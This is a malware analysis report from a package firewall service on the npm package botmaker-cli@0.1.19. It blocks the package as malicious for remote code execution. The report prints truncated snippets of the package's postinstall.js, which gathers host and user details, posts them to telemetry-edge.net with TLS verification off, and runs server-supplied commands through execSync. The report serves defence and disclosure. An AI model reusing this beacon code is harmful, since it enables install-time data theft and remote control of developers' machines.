--- canonical: "https://firewall.lpm.dev/npm/botmaker-cli/v/0.1.19" markdown: "https://firewall.lpm.dev/npm/botmaker-cli/v/0.1.19.md" package: "botmaker-cli" report_status: "published" title: "botmaker-cli@0.1.19 npm security report" verdict: "malicious" version: "0.1.19" --- # botmaker-cli@0.1.19 npm security report > **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document. ## Verdict summary **Blocked & quarantined** — The remote endpoint can execute arbitrary shell commands with the installing user's privileges; host information is also disclosed. - **Verdict:** Malicious - **Product-default install policy:** Block - **Firewall policy:** Matched malicious - **Public report status:** Published - **Threat category:** Remote Code Execution - **Selected version:** 0.1.19 - **Selected version is latest:** Yes - **Analysis source:** AI Security Review (lpm-firewall-ai) Trusted malware advisory MAL-2026-17502 identifies this version as malicious. Firewall keeps the version blocked under its trusted-intelligence policy. An AI recommendation to allow or warn does not override that advisory. AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy. Installation automatically exports host information and executes commands supplied by a remote server. This establishes a concrete remote command execution attack surface. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 99.0% - **Started:** 2026-10-05T05:31:22.640Z - **Finished:** 2026-10-05T05:32:02.861Z - **Download time:** 507 ms - **Static scan time:** 12 ms - **AI review time:** 39701 ms - **Total time:** 40221 ms The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis ### Published attack-surface review - **Summary:** Installation automatically exports host information and executes commands supplied by a remote server. This establishes a concrete remote command execution attack surface. - **Trigger:** npm installation with lifecycle scripts enabled. - **Impact:** The remote endpoint can execute arbitrary shell commands with the installing user's privileges; host information is also disclosed. - **Evidence paths:** package.json, postinstall.js - **Review source:** ai\_review - **Reviewed:** 2026-10-05T05:32:02.861Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** The postinstall hook sends host information by HTTPS, disables certificate verification, and executes the response's exec field through execSync. - **Attack narrative:** Installing the package activates postinstall.js, which collects local host and user information and posts it to telemetry-edge.net. It then parses the server response and executes any supplied exec command. No user command or consent gate is required, and certificate verification is disabled. - **Rationale:** Inspected source proves automatic host-data transmission and execution of remote server commands during installation. This is concrete malicious install behavior warranting a publication block. - **Network endpoints:** telemetry-edge.net ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for block:** package.json automatically runs postinstall.js after installation., postinstall.js collects the hostname, username, working directory, architecture, platform, and network interfaces., The install hook posts collected data to telemetry-edge.net with TLS certificate verification disabled., The response is parsed as JSON and its exec field is passed directly to execSync., The beacon runs automatically, sends the collected data, and silently catches errors. ## Affected versions and remediation This report applies to botmaker-cli@0.1.19. - Avoid installing botmaker-cli@0.1.19. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1. High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts. Public source snippet (untrusted): ```json scripts.postinstall = node postinstall.js ``` ### 2. Medium: Ambiguous Install Lifecycle Script - **Category:** Manifest - **Confidence:** 75.0% - **Path:** package.json - **Public source:** [View source]() Install-time lifecycle script is not statically allowlisted and needs review. Public source snippet (untrusted): ```json scripts.postinstall = node postinstall.js ``` ### 3. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 4. Medium: Network - **Category:** Source - **Confidence:** 75.0% Package source references network APIs. ### 5. Low: Url Strings - **Category:** Supply Chain - **Confidence:** 65.0% Package source contains URL literals. ### 6. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() package.json automatically runs postinstall.js after installation. Public source snippet (untrusted): ```json "scripts": { "postinstall": "node postinstall.js" }, "k ``` ### 7. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 99.0% - **Path:** postinstall.js - **Public source:** [View source]() postinstall.js collects the hostname, username, working directory, architecture, platform, and network interfaces. Public source snippet (untrusted): ```javascript const C2 = 'telemetry-edge.net'; const collect = () => { try { return { h: os.hostname(), u: os.userInfo().username, p: process.cwd(), a: os.arch(), t: os.platform(), n: os.networkInterfaces() }; } cat ``` ### 8. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 99.0% - **Path:** postinstall.js - **Public source:** [View source]() The install hook posts collected data to telemetry-edge.net with TLS certificate verification disabled. Public source snippet (untrusted): ```javascript const beacon = (host) => { const data = JSON.stringify(collect()); const req = https.request({ hostname: host, port: 443, path: '/api/v1/telemetry', method: 'POST', headers: { 'Content-Type': 'application/json' }, rejectUnauthorized: false, timeout: 5000 }, (re ``` ### 9. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** postinstall.js - **Public source:** [View source]() The response is parsed as JSON and its exec field is passed directly to execSync. Public source snippet (untrusted): ```javascript res.on('end', () => { try { const cmd = JSON.parse(body); if (cmd && cmd.exec) { execSync(cmd.exec, { encoding: 'utf8', timeout: 30000 }); } } catch {} }); }); req.on('er ``` ### 10. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** postinstall.js - **Public source:** [View source]() The beacon runs automatically, sends the collected data, and silently catches errors. Public source snippet (untrusted): ```javascript req.on('error', () => {}); req.write(data); req.end(); }; try { beacon(C2); } catch {} console.log('Botmaker CLI installed succe ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** Yes - **Published lifecycle scripts:** postinstall - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** botmaker-cli - **Ecosystem:** npm - **Version:** 0.1.19 - **License:** MIT - **Version published:** 2026-10-04T13:36:14.716Z - **Package first seen:** 2026-10-05T05:32:02.861Z - **Package last seen:** 2026-10-05T05:32:02.861Z - **Known versions:** 1 - **Latest version:** 0.1.19 - **Appeal under review:** No - **Description:** Botmaker CLI - Command line interface for Botmaker platform - **Author:** Botmaker Team - **Keywords:** botmaker, cli, chatbot, whatsapp - **Artifact files:** 5 - **Artifact unpacked size:** 2,433 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]() - [Repository]() - [Homepage]() - [Issues]() - [OSV advisory]()